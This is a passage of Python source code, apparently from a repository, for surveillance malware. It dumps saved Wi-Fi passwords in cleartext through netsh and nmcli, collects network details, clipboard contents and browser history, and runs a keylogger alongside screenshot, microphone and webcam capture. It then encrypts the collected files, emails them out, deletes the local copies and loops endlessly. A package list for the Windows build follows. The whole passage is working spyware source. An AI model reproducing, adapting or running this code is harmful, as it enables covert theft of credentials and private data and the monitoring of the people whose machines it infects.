433 | for wifi in get_wifis.split(b'\n'):
434 | # If not a wired connection #
435 | if b'Wired' not in wifi:
436 | try:
437 | # Open the network SSID list file in write mode #
438 | with wifi_path.open('w', encoding='utf-8') as wifi_list:
439 | # Setup nmcli wifi connection command child process #
440 | with Popen(f'nmcli -s connection show {wifi}', stdout=wifi_list,
441 | stderr=wifi_list, shell=True) as command:
442 | # Execute child process #
443 | command.communicate(timeout=60)
444 |
445 | # If error occurs during file operation #
446 | except OSError as file_err:
447 | print_err(f'Error occurred during file operation: {file_err}')
448 | logging.exception('Error occurred during file operation: %s\n', file_err)
449 |
450 | # If process error or timeout occurs #
451 | except TimeoutExpired:
452 | pass
453 |
454 |
455 | def get_network_info(export_path: Path, network_file: Path):
456 | """
457 | Runs an array of commands to query network information, such as network profiles, passwords, \
458 | ip configuration, arp table, routing table, tcp/udp ports, and attempt to query the ipify.org \
459 | API for public IP address. All the output is redirected to the network info output file.
460 |
461 | :param export_path: The file path where the data to be exported resides.
462 | :param network_file: A path to the file where the network information output is stored.
463 | :return: Nothing
464 | """
465 | # If the OS is Windows #
466 | if os.name == 'nt':
467 | # Get the saved Wi-Fi network information, IP configuration, ARP table,
468 | # MAC address, routing table, and active TCP/UDP ports #
469 | syntax = ['Netsh', 'WLAN', 'export', 'profile',
470 | f'folder={str(export_path)}',
471 | 'key=clear', '&', 'ipconfig', '/all', '&', 'arp', '-a', '&',
472 | 'getmac', '-V', '&', 'route', 'print', '&', 'netstat', '-a']
473 | # If the OS is Linux #
474 | else:
475 | # Get the Wi-Fi network information #
476 | linux_wifi_query(export_path)
477 |
478 | cmd0 = 'ifconfig'
479 | cmd1 = 'arp -a'
480 | cmd2 = 'route'
481 | cmd3 = 'netstat -a'
482 |
483 | # Get the IP configuration & MAC address, ARP table,
484 | # routing table, and active TCP/UDP ports #
485 | syntax = f'{cmd0}; {cmd1}; {cmd2}; {cmd3}'
486 |
487 | try:
488 | # Open the network information file in write mode and log file in write mode #
489 | with network_file.open('w', encoding='utf-8') as network_io:
490 | try:
491 | # Setup network info gathering commands child process #
492 | with Popen(syntax, stdout=network_io, stderr=network_io, shell=True) as commands:
493 | # Execute child process #
494 | commands.communicate(timeout=60)
495 |
496 | # If execution timeout occurred #
497 | except TimeoutExpired:
498 | pass
499 |
500 | # Get the hostname #
501 | hostname = socket.gethostname()
502 | # Get the IP address by hostname #
503 | ip_addr = socket.gethostbyname(hostname)
504 |
505 | try:
506 | # Query ipify API to retrieve public IP #
507 | public_ip = requests.get('https://api.ipify.org').text
508 |
509 | # If error occurs querying public IP #
510 | except requests.ConnectionError as conn_err:
511 | public_ip = f'* Ipify connection failed: {conn_err} *'
512 |
513 | # Log the public and private IP address #
514 | network_io.write(f'[!] Public IP Address: {public_ip}\n'
515 | f'[!] Private IP Address: {ip_addr}\n')
516 |
517 | # If error occurs during file operation #
518 | except OSError as file_err:
519 | print_err(f'Error occurred during file operation: {file_err}')
520 | logging.exception('Error occurred during file operation: %s\n', file_err)
521 |
522 |
523 | def main():
524 | """
525 | Gathers network information, clipboard contents, browser history, initiates multiprocessing, \
526 | sends encrypted results, cleans up exfiltrated data, and loops back to the beginning.
527 |
528 | :return: Nothing
529 | """
530 | # If the OS is Windows #
531 | if os.name == 'nt':
532 | export_path = Path('C:\\Tmp\\')
533 | # If the OS is Linux #
534 | else:
535 | export_path = Path('/tmp/logs/')
536 |
537 | # Ensure the tmp exfiltration dir exists #
538 | export_path.mkdir(parents=True, exist_ok=True)
539 | # Set program files and dirs #
540 | network_file = export_path / 'network_info.txt'
541 | sysinfo_file = export_path / 'system_info.txt'
542 | browser_file = export_path / 'browser_info.txt'
543 | log_file = export_path / 'key_logs.txt'
544 | screenshot_dir = export_path / 'Screenshots'
545 | webcam_dir = export_path / 'WebcamPics'
546 |
547 | # Get the network information and save to output file #
548 | get_network_info(export_path, network_file)
549 |
550 | # Get the system information and save to output file #
551 | get_system_info(sysinfo_file)
552 |
553 | # If OS is Windows #
554 | if os.name == 'nt':
555 | # Get the clipboard contents and save to output file #
556 | get_clipboard(export_path)
557 |
558 | # Get the browser user and history and save to output file #
559 | get_browser_history(browser_file)
560 |
561 | # Create and start processes #
562 | proc_1 = Process(target=log_keys, args=(log_file,))
563 | proc_1.start()
564 | proc_2 = Thread(target=screenshot, args=(screenshot_dir,))
565 | proc_2.start()
566 | proc_3 = Thread(target=microphone, args=(export_path,))
567 | proc_3.start()
568 | proc_4 = Thread(target=webcam, args=(webcam_dir,))
569 | proc_4.start()
570 |
571 | # Join processes/threads with 5 minute timeout #
572 | proc_1.join(timeout=300)
573 | proc_2.join(timeout=300)
574 | proc_3.join(timeout=300)
575 | proc_4.join(timeout=300)
576 |
577 | # Terminate process #
578 | proc_1.terminate()
579 |
580 | files = ['network_info.txt', 'system_info.txt', 'browser_info.txt', 'key_logs.txt']
581 |
582 | # Initialize compiled regex instance #
583 | regex_obj = RegObject()
584 |
585 | # If the OS is Windows #
586 | if os.name == 'nt':
587 | # Add clipboard file to list #
588 | files.append('clipboard_info.txt')
589 |
590 | # Append file to file list if item is file and match xml regex #
591 | [files.append(file.name) for file in os.scandir(export_path)
592 | if regex_obj.re_xml.match(file.name)]
593 | # If the OS is Linux #
594 | else:
595 | files.append('wifi_info.txt')
596 |
597 | # Encrypt all the files in the files list #
598 | encrypt_data(files, export_path)
599 |
600 | # Export data via email #
601 | send_mail(export_path, regex_obj)
602 | send_mail(screenshot_dir, regex_obj)
603 | send_mail(webcam_dir, regex_obj)
604 |
605 | # Clean Up Files #
606 | shutil.rmtree(export_path)
607 | # Loop #
608 | main()
609 |
610 |
611 | def print_err(msg: str):
612 | """
613 | Displays the passed in error message via stderr.
614 |
615 | :param msg: The error message to be displayed.
616 | :return: Nothing
617 | """
618 | print(f'\n* [ERROR] {msg} *\n', file=sys.stderr)
619 |
620 |
621 | if __name__ == '__main__':
622 | try:
623 | main()
624 |
625 | # If Ctrl + C is detected #
626 | except KeyboardInterrupt:
627 | print('* Control-C entered...Program exiting *')
628 |
629 | # If unknown exception occurs #
630 | except Exception as ex:
631 | print_err(f'Unknown exception occurred: {ex}')
632 | sys.exit(1)
633 |
634 | sys.exit(0)
635 |
--------------------------------------------------------------------------------
/windows_packages.txt:
--------------------------------------------------------------------------------
1 | browserhistory
2 | cryptography
3 | opencv-python
4 | Pillow
5 | pynput
6 | requests
7 | scipy
8 | sounddevice
9 | pywin32
--------------------------------------------------------------------------------